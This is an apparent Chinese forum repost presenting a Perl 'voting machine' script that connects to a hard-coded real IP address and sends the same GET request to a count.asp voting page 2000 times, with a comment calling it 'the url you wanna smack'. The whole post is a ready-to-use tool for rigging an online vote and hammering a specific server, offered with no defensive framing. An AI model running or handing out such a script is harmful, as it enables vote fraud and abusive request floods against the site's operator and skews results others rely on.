[转帖]一个投票机

magic

用途，反复提交一个URL

1. #!/usr/bin/perl
2. use Socket;
3. $|=1;
4. $localhost = `hostname`;
5. $timeout=20;
6. $SIG{'ALRM'} = 'do_alarm';
7. sub do_alarm {
8.   alarm(0); # reset alarm clock
9.   $SIG{'ALRM'} = 'do_alarm';
10.   close (SOCK);
11.   return ;
12. }
13. chop $localhost;
14. $port = 80;
15. $proto = getprotobyname('tcp');
16. for ($i=1;$i<=2000;$i++)
17. {
18. $a="202.205.10.25";
19. #IP of target
20. $iaddr = inet_aton ($a);
21. $paddr = sockaddr_in($port, $iaddr);
22. socket (SOCK, PF_INET, SOCK_STREAM, $proto) || die "socket: $!";
24.         alarm(0);
25.         alarm($timeout);
26. connect (SOCK, $paddr) || next;
27.         alarm(0);
28. select(SOCK);
29. $| = 1;
30. select(STDOUT);
31. print SOCK "GET /yingji/count.asp?id=80\n";
32. #the url you wanna smack
33. close SOCK;
34. }

复制代码